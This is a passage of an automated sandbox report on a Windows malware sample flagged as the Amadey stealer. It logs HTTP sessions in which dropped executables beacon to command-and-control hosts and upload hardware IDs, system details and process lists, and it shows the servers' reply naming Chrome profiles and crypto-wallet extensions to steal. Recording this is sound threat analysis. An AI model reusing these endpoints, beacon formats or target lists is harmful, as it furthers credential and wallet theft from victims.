2024-12-12 13:27:09 UTC	410	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 3
2024-12-12 13:27:09 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:09 UTC	44	IN	Data Raw: 32 31 0d 0a 5b 41 75 64 69 6f 5d 0a 44 65 66 61 75 6c 74 3d 33 30 0a 41 75 74 6f 3d 31 0a 46 6f 72 63 65 3d 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 21[Audio]Default=30Auto=1Force=00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49908	116.203.10.31	443	504	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:11 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q1DTJW47QQ9RQQIMOZU3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 13:27:11 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 31 44 54 4a 57 34 37 51 51 39 52 51 51 49 4d 4f 5a 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 31 63 66 65 37 35 35 33 39 64 66 34 66 61 38 33 39 32 38 31 39 38 62 32 62 37 33 66 61 0d 0a 2d 2d 2d 2d 2d 2d 51 31 44 54 4a 57 34 37 51 51 39 52 51 51 49 4d 4f 5a 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 51 31 44 54 4a 57 34 37 51 51 39 52 51 51 49 4d 4f 5a 55 33 0d 0a 43 6f 6e 74 Data Ascii: ------Q1DTJW47QQ9RQQIMOZU3Content-Disposition: form-data; name="token"c3d1cfe75539df4fa83928198b2b73fa------Q1DTJW47QQ9RQQIMOZU3Content-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------Q1DTJW47QQ9RQQIMOZU3Cont
2024-12-12 13:27:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 13:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 13:27:12 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49912	104.21.79.7	443	824	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:12 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LVQAN8OZ9EYI9H4VY8Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: drive-connect.cyou
2024-12-12 13:27:12 UTC	15331	OUT	Data Raw: 2d 2d 4c 56 51 41 4e 38 4f 5a 39 45 59 49 39 48 34 56 59 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 30 41 44 35 45 36 38 30 43 33 37 41 37 30 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4c 56 51 41 4e 38 4f 5a 39 45 59 49 39 48 34 56 59 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 56 51 41 4e 38 4f 5a 39 45 59 49 39 48 34 56 59 38 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 Data Ascii: --LVQAN8OZ9EYI9H4VY8QContent-Disposition: form-data; name="hwid"490AD5E680C37A7023D904AF30EFEBBC--LVQAN8OZ9EYI9H4VY8QContent-Disposition: form-data; name="pid"2--LVQAN8OZ9EYI9H4VY8QContent-Disposition: form-data; name="lid"FATE99--te
2024-12-12 13:27:12 UTC	2837	OUT	Data Raw: 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 Data Ascii: @xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe
2024-12-12 13:27:13 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 13:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=si3ogdm3tqsb6cdkqucobej2pr; expires=Mon, 07-Apr-2025 07:13:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ELi0Pe8UYRtjsWkwtH1US3%2B4zz%2Fk0ZSbp5KralXb2hPYaSwgN%2FXw9N5LykKoBREHE7lyNz7VnTqpiHc09uSGaMvB%2BXIe%2B0MMh0sgyKsDXcR80P%2FkOMnSdHH7LmbszrNH6nMfjSo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0e0cef1d5d729b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1980&rtt_var=744&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19133&delivery_rate=1469552&cwnd=249&unsent_bytes=0&cid=34a021db59335557&ts=1537&x=0"
2024-12-12 13:27:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-12 13:27:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49914	116.203.10.31	443	504	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:13 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----1NG4WBAS0ZUAAIWBIWL6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 13:27:13 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 4e 47 34 57 42 41 53 30 5a 55 41 41 49 57 42 49 57 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 31 63 66 65 37 35 35 33 39 64 66 34 66 61 38 33 39 32 38 31 39 38 62 32 62 37 33 66 61 0d 0a 2d 2d 2d 2d 2d 2d 31 4e 47 34 57 42 41 53 30 5a 55 41 41 49 57 42 49 57 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 31 4e 47 34 57 42 41 53 30 5a 55 41 41 49 57 42 49 57 4c 36 0d 0a 43 6f 6e 74 Data Ascii: ------1NG4WBAS0ZUAAIWBIWL6Content-Disposition: form-data; name="token"c3d1cfe75539df4fa83928198b2b73fa------1NG4WBAS0ZUAAIWBIWL6Content-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------1NG4WBAS0ZUAAIWBIWL6Cont
2024-12-12 13:27:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 13:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 13:27:14 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49926	104.21.79.7	443	824	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:18 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0YSECOK8365WM2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8759 Host: drive-connect.cyou
2024-12-12 13:27:18 UTC	8759	OUT	Data Raw: 2d 2d 30 59 53 45 43 4f 4b 38 33 36 35 57 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 30 41 44 35 45 36 38 30 43 33 37 41 37 30 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 30 59 53 45 43 4f 4b 38 33 36 35 57 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 59 53 45 43 4f 4b 38 33 36 35 57 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 59 53 45 43 4f 4b 38 33 Data Ascii: --0YSECOK8365WM2Content-Disposition: form-data; name="hwid"490AD5E680C37A7023D904AF30EFEBBC--0YSECOK8365WM2Content-Disposition: form-data; name="pid"2--0YSECOK8365WM2Content-Disposition: form-data; name="lid"FATE99--test--0YSECOK83
2024-12-12 13:27:21 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 13:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6bqupl5ka3jj7mvp1dg8511a4; expires=Mon, 07-Apr-2025 07:13:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lziKVoZDYPo19zIimpH9Z8TzdkMpOA5YWYkMRyFNTHnCiaVrPAFy0GjFa0FfCxDli0tIhg0lE2WFtzKhN3gF8nUFDndu8C0k9Sidb2Wbg3UI%2BvBd2a3dimaWbctYZr44jI1UN5w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0e0d185eda0f89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1525&min_rtt=1518&rtt_var=584&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9696&delivery_rate=1851616&cwnd=235&unsent_bytes=0&cid=e5e30d991f9ea674&ts=2192&x=0"
2024-12-12 13:27:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-12 13:27:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49931	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:20 UTC	397	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
2024-12-12 13:27:20 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:20 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49940	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:21 UTC	547	OUT	POST /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 0 Content-Length: 18162 Content-Type: application/x-www-form-urlencoded
2024-12-12 13:27:21 UTC	15837	OUT	Data Raw: 0d 0a 48 6f 73 74 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4a 4f 4e 45 53 2d 50 43 0d 0a 4f 53 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 0d 0a 4f 53 20 56 65 72 73 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 30 2e 30 2e 31 39 30 34 35 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 35 0d 0a 4f 53 20 4d 61 6e 75 66 61 63 74 75 72 65 72 3a 20 20 20 20 20 20 20 20 20 20 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 0d 0a 4f 53 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 53 74 61 6e 64 61 6c 6f 6e 65 20 57 6f 72 6b 73 74 61 74 69 6f 6e 0d 0a 4f 53 20 42 75 69 6c Data Ascii: Host Name: user-PCOS Name: Microsoft Windows 10 ProOS Version: 10.0.19045 N/A Build 19045OS Manufacturer: Microsoft CorporationOS Configuration: Standalone WorkstationOS Buil
2024-12-12 13:27:21 UTC	2325	OUT	Data Raw: 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 36 39 39 36 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 35 36 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 37 30 32 30 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 36 30 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 37 30 34 30 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 36 30 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 37 30 36 34 20 43 Data Ascii: IKwvPoj.ex 6996 Console 1 6'556 KkNuHQpSfEDEVRdXIKwvPoj.ex 7020 Console 1 6'560 KkNuHQpSfEDEVRdXIKwvPoj.ex 7040 Console 1 6'560 KkNuHQpSfEDEVRdXIKwvPoj.ex 7064 C
2024-12-12 13:27:22 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:22 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49949	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:24 UTC	479	OUT	POST /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 1 Content-Length: 0 Content-Type: application/x-www-form-urlencoded
2024-12-12 13:27:25 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:25 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49952	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:25 UTC	474	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 3
2024-12-12 13:27:25 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:25 UTC	44	IN	Data Raw: 32 31 0d 0a 5b 41 75 64 69 6f 5d 0a 44 65 66 61 75 6c 74 3d 33 30 0a 41 75 74 6f 3d 31 0a 46 6f 72 63 65 3d 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 21[Audio]Default=30Auto=1Force=00

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49964	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:28 UTC	461	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
2024-12-12 13:27:28 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:28 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49979	94.154.172.218	443

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:33 UTC	543	OUT	POST /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 1 Content-Length: 0 Content-Type: application/x-www-form-urlencoded
2024-12-12 13:27:33 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:27:33 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Target ID:	0
Start time:	08:25:11
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\yiDQb6GkBq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yiDQb6GkBq.exe"
Imagebase:	0x680000
File size:	3'189'760 bytes
MD5 hash:	6CED085779B2D439CAB6D085699B195A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:25:13
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	6CED085779B2D439CAB6D085699B195A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:25:13
Start date:	12/12/2024
